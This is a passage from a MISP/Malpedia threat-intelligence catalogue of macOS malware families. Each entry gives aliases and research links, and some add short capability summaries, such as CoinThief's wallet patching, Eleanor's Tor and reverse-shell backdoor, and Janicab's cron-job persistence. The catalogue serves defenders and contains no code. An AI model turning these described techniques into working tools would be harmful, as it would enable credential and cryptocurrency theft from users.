https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/
https://www.volexity.com/blog/2024/08/02/stormbamboo-compromises-isp-to-abuse-insecure-software-update-mechanisms/

Choziosi (OS X)

A loader delivering malicious Chrome and Safari extensions.

The tag is: *misp-galaxy:malpedia="Choziosi (OS X)"*

Choziosi (OS X) is also known as:

- ChromeLoader
- Chropex

Table 2830. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi

https://blogs.blackberry.com/en/2022/11/chromeloader-infects-the-browser-by-loading-malicious-extension
https://www.th3protocol.com/2022/Choziosi-Loader
https://github.com/xephora/Threat-Remediation-Scripts/tree/main/Threat-Track/CS_INSTALLER
https://redcanary.com/blog/chromeloader/
https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/

CloudMensis

The tag is: *misp-galaxy:malpedia="CloudMensis"*

CloudMensis is also known as:

- BadRAT

Table 2831. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis
https://twitter.com/ESETresearch/status/1575103839115804672
https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/

CoinThief

CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component.

It was spreading in early 2014 from several different sources: - on Github (where the trojanized compiled binary didn't match the displayed source code), o - on popular and trusted download sites line CNET's Download.com or MacUpdate.com, and - as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.

The patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim's Bitcoins to one of the hard-coded addresses belonging to the attacker.

The browser extensions targeted Chrome and Firefox and are disguised as a "Pop-up blocker". The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker's address or simply harvest login credentials to the targeted online service.

The backdoor enabled the attacker to take full control over the victim's computer: - collect information about the infected computer - execute arbitrary shell scripts on the target computer - upload an arbitrary file from the victim's hard drive to a remote server - update itself to a newer version

The tag is: *misp-galaxy:malpedia="CoinThief"*

CoinThief is also known as:

Table 2832. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief
https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

Coldroot RAT

The tag is: *misp-galaxy:malpedia="Coldroot RAT"*

Coldroot RAT is also known as:

Table 2833. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat
https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf
https://objective-see.com/blog/blog_0x2A.html

Convuster

The tag is: *misp-galaxy:malpedia="Convuster"*

Convuster is also known as:

Table 2834. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.convuster
https://securelist.com/convuster-macos-adware-in-rust/101258/

CpuMeaner

The tag is: *misp-galaxy:malpedia="CpuMeaner"*

CpuMeaner is also known as:

Table 2835. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/

CreativeUpdater

The tag is: *misp-galaxy:malpedia="CreativeUpdater"*

CreativeUpdater is also known as:

Table 2836. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater
https://digitasecurity.com/blog/2018/02/05/creativeupdater/
https://objective-see.com/blog/blog_0x29.html
https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/

Crisis

The tag is: *misp-galaxy:malpedia="Crisis"*

Crisis is also known as:

Table 2837. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html

Crossrider

The tag is: *misp-galaxy:malpedia="Crossrider"*

Crossrider is also known as:

Table 2838. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider

https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/?utm_source=twitter&utm_medium=social

Cthulhu Stealer

The tag is: *misp-galaxy:malpedia="Cthulhu Stealer"*

Cthulhu Stealer is also known as:

Table 2839. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cthulhu_stealer
https://www.cadosecurity.com/blog/from-the-depths-analyzing-the-cthulhu-stealer-malware-for-macos

Dacls (OS X)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: *misp-galaxy:malpedia="Dacls (OS X)"*

Dacls (OS X) is also known as:

Table 2840. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls
https://objective-see.com/blog/blog_0x5F.html
https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/
https://objective-see.com/blog/blog_0x57.html
https://www.sygnia.co/mata-framework
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/

https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

DarthMiner

The tag is: *misp-galaxy:malpedia="DarthMiner"*

DarthMiner is also known as:

Table 2841. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.darthminer
https://blog.malwarebytes.com/threat-analysis/2018/12/mac-malware-combines-empyre-backdoor-and-xmrig-miner/

DazzleSpy

The tag is: *misp-galaxy:malpedia="DazzleSpy"*

DazzleSpy is also known as:

Table 2842. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dazzle_spy
https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/
https://objective-see.com/blog/blog_0x6D.html

Dockster

The tag is: *misp-galaxy:malpedia="Dockster"*

Dockster is also known as:

Table 2843. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster
https://www.f-secure.com/weblog/archives/00002466.html
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html

Dummy

The tag is: *misp-galaxy:malpedia="Dummy"*

Dummy is also known as:

Table 2844. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dummy
https://objective-see.com/blog/blog_0x32.html

EggShell RAT

The tag is: *misp-galaxy:malpedia="EggShell RAT"*

EggShell RAT is also known as:

Table 2845. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.eggshell_rat
https://www.sentinelone.com/blog/session-cookies-keychains-ssh-keys-and-more-7-kinds-of-data-malware-steals-from-macos-users/

Eleanor

Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.

The Tor service transforms the victim's computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address.

The Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.

The web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:

- Managing files
- Listing processes
- Connecting to various database management systems such as MySQL or SQLite
- Connecting via bind/reverse shell
- Executing shell command

- Capturing and browsing images and videos from the victim's webcam
- Sending emails with an attachment

The tag is: *misp-galaxy:malpedia="Eleanor"*

Eleanor is also known as:

Table 2846. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor
https://labs.bitdefender.com/2016/07/new-mac-backdoor-nukes-os-x-systems/

ElectroRAT

According to PCrisk, ElectroRAT is a Remote Access Trojan (RAT) written in the Go programming language and designed to target Windows, MacOS, and Linux users. Cyber criminals behind ElectroRAT target mainly cryptocurrency users. This RAT is distributed via the trojanized Jamm, eTrader, and DaoPoker applications.

The tag is: *misp-galaxy:malpedia="ElectroRAT"*

ElectroRAT is also known as:

Table 2847. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat
https://objective-see.com/blog/blog_0x61.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/

EvilOSX

The tag is: *misp-galaxy:malpedia="EvilOSX"*

EvilOSX is also known as:

Table 2848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx
https://github.com/Marten4n6/EvilOSX
https://twitter.com/JohnLaTwC/status/966139336436498432

EvilQuest

According to PcRisk, EvilQuest (also known as ThiefQuest) is like many other malicious programs of this type - it encrypts files and creates a ransom message. In most cases, this type of malware modifies the names of encrypted files by appending certain extensions, however, this ransomware leaves them unchanged.

It drops the "READ_ME_NOW.txt" in each folder that contains encrypted data and displays another ransom message in a pop-up window. Additionally, this malware is capable of detecting if certain files are stored on the computer, operates as a keylogger, and receives commands from a Command & Control server.

The tag is: *misp-galaxy:malpedia="EvilQuest"*

EvilQuest is also known as:

- ThiefQuest

Table 2849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest
https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/
https://objective-see.com/blog/blog_0x5F.html
https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/
https://twitter.com/dineshdina04/status/1277668001538433025
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities
https://github.com/gdbinit/evilquest_deobfuscator
https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/
https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/
https://objective-see.com/blog/blog_0x59.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

FailyTale

The tag is: *misp-galaxy:malpedia="FailyTale"*

FailyTale is also known as:

Table 2850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/

FinFisher (OS X)

The tag is: *misp-galaxy:malpedia="FinFisher (OS X)"*

FinFisher (OS X) is also known as:

Table 2851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher
https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://objective-see.com/blog/blog_0x5F.html
https://objective-see.com/blog/blog_0x4F.html
https://securelist.com/finspy-unseen-findings/104322/
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/

FlashBack

The tag is: *misp-galaxy:malpedia="FlashBack"*

FlashBack is also known as:

- FakeFlash

Table 2852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback
https://en.wikipedia.org/wiki/Flashback_(Trojan)
https://news.drweb.com/show/?c=5&i=2386&lng=en
https://web-assets.esetstatic.com/wls/200x/white-papers/osx_flashback.pdf
http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html
http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities

https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

FlexibleFerret

The tag is: *misp-galaxy:malpedia="FlexibleFerret"*

FlexibleFerret is also known as:

Table 2853. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.flexibleferret
https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/

FriendlyFerret

The tag is: *misp-galaxy:malpedia="FriendlyFerret"*

FriendlyFerret is also known as:

Table 2854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.friendlyferret
https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/

FrigidStealer

According to Proofpoint, FrigidStealer FrigidStealer uses Apple script files and osascript to prompt the user to enter their password, and then to gather data including browser cookies, files with extensions relevant to password material or cryptocurrency from the victim's Desktop and Documents folders, and any Apple Notes the user has created.

The tag is: *misp-galaxy:malpedia="FrigidStealer"*

FrigidStealer is also known as:

Table 2855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.frigid_stealer
https://www.proofpoint.com/us/blog/threat-insight/update-fake-updates-two-new-actors-and-new-mac-malware

FrostyFerret

The tag is: *misp-galaxy:malpedia="FrostyFerret"*

FrostyFerret is also known as:

Table 2856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.frostyferret
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
https://www.silentpush.com/blog/contagious-interview-front-companies/
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/
https://www.sentinelone.com/blog/macos-flexibleferret-further-variants-of-dprk-malware-family-unearthed/

FruitFly

The tag is: *misp-galaxy:malpedia="FruitFly"*

FruitFly is also known as:

- Quimitchin

Table 2857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly
https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html
https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/
https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/
https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/
https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf

FULLHOUSE

Fullhouse (AKA FULLHOUSE.DOORED) is a custom backdoor used by subsets of the North Korean Lazarus Group. Fullhouse is written in C/C++ and includes the capabilities of a tunneler and backdoor commands support such as shell command execution, file transfer, file managment, and

process injection. C2 communications occur via HTTP and require configuration through the command line or a configuration file.

The tag is: *misp-galaxy:malpedia="FULLHOUSE"*

FULLHOUSE is also known as:

Table 2858. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.fullhouse
https://www.mandiant.com/resources/blog/north-korea-supply-chain

GIMMICK (OS X)

This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.

The tag is: *misp-galaxy:malpedia="GIMMICK (OS X)"*

GIMMICK (OS X) is also known as:

Table 2859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick
https://cybersecuritynews.com/gimmick-malware-attacks/
https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/

Gmera

According to PCrisk, GMERA (also known as Kassi trojan) is malicious software that disguises itself as Stockfolio, a legitimate trading app created for Mac users.

Research shows that there are two variants of this malware, one detected as Trojan.MacOS.GMERA.A and the other as Trojan.MacOS.GMERA.B. Cyber criminals proliferate GMERA to steal various information and upload it to a website under their control. To avoid damage caused by this malware, remove GMERA immediately.

The tag is: *misp-galaxy:malpedia="Gmera"*

Gmera is also known as:

- Kassi
- StockSteal

Table 2860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera
https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/
https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/
https://objective-see.com/blog/blog_0x53.html

GolangGhost (OS X)

The tag is: *misp-galaxy:malpedia="GolangGhost (OS X)"*

GolangGhost (OS X) is also known as:

Table 2861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.golangghost
https://blog.talosintelligence.com/python-version-of-golangghost-rat/
https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html
https://blog.sekoia.io/clickfake-interview-campaign-by-lazarus/
https://blog.polyswarm.io/famous-chollimas-pylangghost
https://hackernoon.com/cybercrooks-are-using-fake-job-listings-to-steal-crypto
https://www.silentpush.com/blog/contagious-interview-front-companies/
https://www-cdn.anthropic.com/b2a76c6f6992465c09a6f2fce282f6c0cea8c200.pdf
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist

HiddenLotus

According to Malwarebytes, The HiddenLotus "dropper" is an application named Lê Thu Hà (HAEDC).pdf, using an old trick of disguising itself as a document - in this case, an Adobe Acrobat file.

The tag is: *misp-galaxy:malpedia="HiddenLotus"*

HiddenLotus is also known as:

Table 2862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus

https://blog.malwarebytes.com/threat-analysis/2017/12/interesting-disguise-employed-by-new-mac-malware/

HLOADER

The tag is: *misp-galaxy:malpedia="HLOADER"*

HLOADER is also known as:

Table 2863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hloader
https://www.sentinelone.com/blog/dprk-crypto-theft-macos-rustbucket-droppers-pivot-to-deliver-kandykorn-payloads/
https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn
https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Sugarcoating-KANDYKORN-a-sweet-dive-into-a-sophisticated-MacOS-backdoor.pdf

HZ RAT (OS X)

The tag is: *misp-galaxy:malpedia="HZ RAT (OS X)"*

HZ RAT (OS X) is also known as:

Table 2864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hz_rat
https://www.intego.com/mac-security-blog/new-macos-malware-hz-rat-gives-attackers-backdoor-access-to-macs/

iMuler

The threat was a multi-stage malware displaying a decoy that appeared to the victim as a Chinese language article on the long-running dispute over the Diaoyu Islands; an array of erotic pictures; or images of Tibetan organisations. It consisted of two stages: Revir was the dropper/downloader and Imuler was the backdoor capable of the following operations:

- capture screenshots
- exfiltrate files to a remote computer
- send various information about the infected computer
- extract ZIP archive
- download files from a remote computer and/or the Internet

- run executable files

The tag is: *misp-galaxy:malpedia="iMuler"*

iMuler is also known as:

- Revir

Table 2865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html
https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/
https://www.welivesecurity.com/2012/03/16/osximuler-updated-still-a-threat-on-mac-os-x/

Interception (OS X)

The tag is: *misp-galaxy:malpedia="Interception (OS X)"*

Interception (OS X) is also known as:

Table 2866. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.interception
https://twitter.com/ESETresearch/status/1559553324998955010
https://labs.k7computing.com/index.php/lazarus-apts-operation-interception-uses-signed-binary/
https://www.sentinelone.com/blog/lazarus-operation-interception-targets-macos-users-dreaming-of-jobs-in-crypto

Janicab (OS X)

According to Patrick Wardle, this malware persists a python script as a cron job. Steps: 1. Python installer first saves any existing cron jobs into a temporary file named '/tmp/dump'. 2. Appends its new job to this file. 3. Once the new cron job has been added 'python (~/.t/runner.pyc)' runs every minute.

The tag is: *misp-galaxy:malpedia="Janicab (OS X)"*

Janicab (OS X) is also known as:

Table 2867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab
https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html

https://securelist.com/apt-trends-report-q3-2020/99204/
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/
https://www.malwarology.com/posts/5-janicab-part_1/
https://archive.f-secure.com/weblog/archives/00002576.html
https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/
https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/
https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/
https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/
https://www.macmark.de/blog/osx_blog_2013-08-a.php
https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/

JokerSpy

The tag is: *misp-galaxy:malpedia="JokerSpy"*

JokerSpy is also known as:

Table 2868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.jokerspy
https://www.elastic.co/security-labs/inital-research-of-jokerspy

KANDYKORN

The tag is: *misp-galaxy:malpedia="KANDYKORN"*

KANDYKORN is also known as:

Table 2869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kandykorn
https://www.sentinelone.com/blog/dprk-crypto-theft-macos-rustbucket-droppers-pivot-to-deliver-kandykorn-payloads/
https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn
https://www.virusbulletin.com/uploads/pdf/conference/vb2024/papers/Sugarcoating-KANDYKORN-a-sweet-dive-into-a-sophisticated-MacOS-backdoor.pdf

KeRanger

The tag is: *misp-galaxy:malpedia="KeRanger"*

KeRanger is also known as:

Table 2870. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger
https://objective-see.com/blog/blog_0x16.html
https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html
http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/

Keydnap

The tag is: *misp-galaxy:malpedia="Keydnap"*

Keydnap is also known as:

Table 2871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://objective-see.com/blog/blog_0x16.html
https://github.com/eset/malware-ioc/tree/master/keydnap
https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/

KeySteal

According to SentinelOne, KeySteal targets files with the .keychain and keychain-db file extensions in the following locations.

The tag is: *misp-galaxy:malpedia="KeySteal"*

KeySteal is also known as:

Table 2872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keysteal

https://www.sentinelone.com/blog/session-cookies-keychains-ssh-keys-and-more-7-kinds-of-data-malware-steals-from-macos-users/

Kitmos

The tag is: *misp-galaxy:malpedia="Kitmos"*

Kitmos is also known as:

- KitM

Table 2873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos
https://www.f-secure.com/weblog/archives/00002558.html

Komplex

The tag is: *misp-galaxy:malpedia="Komplex"*

Komplex is also known as:

- JHUHUGIT
- JKEYSKW
- SedUploader

Table 2874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex
https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/
https://objective-see.com/blog/blog_0x16.html
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

Kuiper (OS X)

The tag is: *misp-galaxy:malpedia="Kuiper (OS X)"*

Kuiper (OS X) is also known as:

Table 2875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kuiper
https://www.trellix.com/about/newsroom/stories/research/the-evolution-of-the-kuiper-ransomware/

Lador

The tag is: *misp-galaxy:malpedia="Lador"*

Lador is also known as:

Table 2876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.lador
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities/

Lambert (OS X)

The tag is: *misp-galaxy:malpedia="Lambert (OS X)"*

Lambert (OS X) is also known as:

- GreenLambert

Table 2877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.lambert
https://objective-see.com/blog/blog_0x68.html

Laoshu

The tag is: *misp-galaxy:malpedia="Laoshu"*

Laoshu is also known as:

Table 2878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu
https://objective-see.com/blog/blog_0x16.html
https://nakedsecurity.sophos.com/2014/01/21/data-stealing-malware-targets-mac-users-in-undelivered-courier-item-attack/

Leverage

The tag is: *misp-galaxy:malpedia="Leverage"*

Leverage is also known as:

Table 2879. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage
https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis
https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/

LockBit (OS X)

The tag is: *misp-galaxy:malpedia="LockBit (OS X)"*

LockBit (OS X) is also known as:

Table 2880. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.lockbit
https://www.linkedin.com/pulse/intrusion-insights-straight-from-leaked-operator-chats-ahmad-abdillah-p1ejc?utm_source=share&utm_medium=member_ios&utm_campaign=share_via
https://analyst1.com/lockbit-takedown-operation-cronos-a-long-awaited-psyops-against-ransomware/
https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/
https://www.europol.europa.eu/media-press/newsroom/news/law-enforcement-disrupt-worlds-biggest-ransomware-operation
https://www.washingtonpost.com/business/2024/02/20/lockbit-ransomware-cronos-nca-fbi/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/
https://medium.com/@lcam/lighting-the-exfiltration-infrastructure-of-a-lockbit-affiliate-and-more-f57fbb7a4e79
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://twitter.com/malwrhunterteam/status/1647384505550876675
https://nationalcrimeagency.gov.uk/news/nca-leads-international-investigation-targeting-worlds-most-harmful-ransomware-group

MacDownloader

The tag is: *misp-galaxy:malpedia="MacDownloader"*

MacDownloader is also known as:

Table 2881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader
https://iranthreats.github.io/resources/macdownloader-macos-malware/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy

MacInstaller

The tag is: *misp-galaxy:malpedia="MacInstaller"*

MacInstaller is also known as:

Table 2882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller
https://objective-see.com/blog/blog_0x16.html

MacRansom

The tag is: *misp-galaxy:malpedia="MacRansom"*

MacRansom is also known as:

Table 2883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service
https://objective-see.com/blog/blog_0x1E.html

MacSpy

The tag is: *misp-galaxy:malpedia="MacSpy"*

MacSpy is also known as:

Table 2884. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/osx.macspy
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service

MacVX

The tag is: *misp-galaxy:malpedia="MacVX"*

MacVX is also known as:

Table 2885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx
https://objective-see.com/blog/blog_0x16.html

MaMi

The tag is: *misp-galaxy:malpedia="MaMi"*

MaMi is also known as:

Table 2886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami
https://objective-see.com/blog/blog_0x26.html

Manuscrypt

The tag is: *misp-galaxy:malpedia="Manuscrypt"*

Manuscrypt is also known as:

Table 2887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt
https://twitter.com/BitsOfBinary/status/1321488299932983296
https://www.wiz.io/blog/north-korean-tradertraitor-crypto-heist
https://www.anquanke.com/post/id/223817
https://twitter.com/BitsOfBinary/status/1337330286787518464
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf

Mokes (OS X)

The tag is: *misp-galaxy:malpedia="Mokes (OS X)"*

Mokes (OS X) is also known as:

Table 2888. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes
https://objective-see.com/blog/blog_0x16.html
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/
https://objective-see.com/blog/blog_0x53.html

Mughthesec

The tag is: *misp-galaxy:malpedia="Mughthesec"*

Mughthesec is also known as:

Table 2889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec
https://objective-see.com/blog/blog_0x20.html

NetWire

The tag is: *misp-galaxy:malpedia="NetWire"*

NetWire is also known as:

Table 2890. Table References

Links
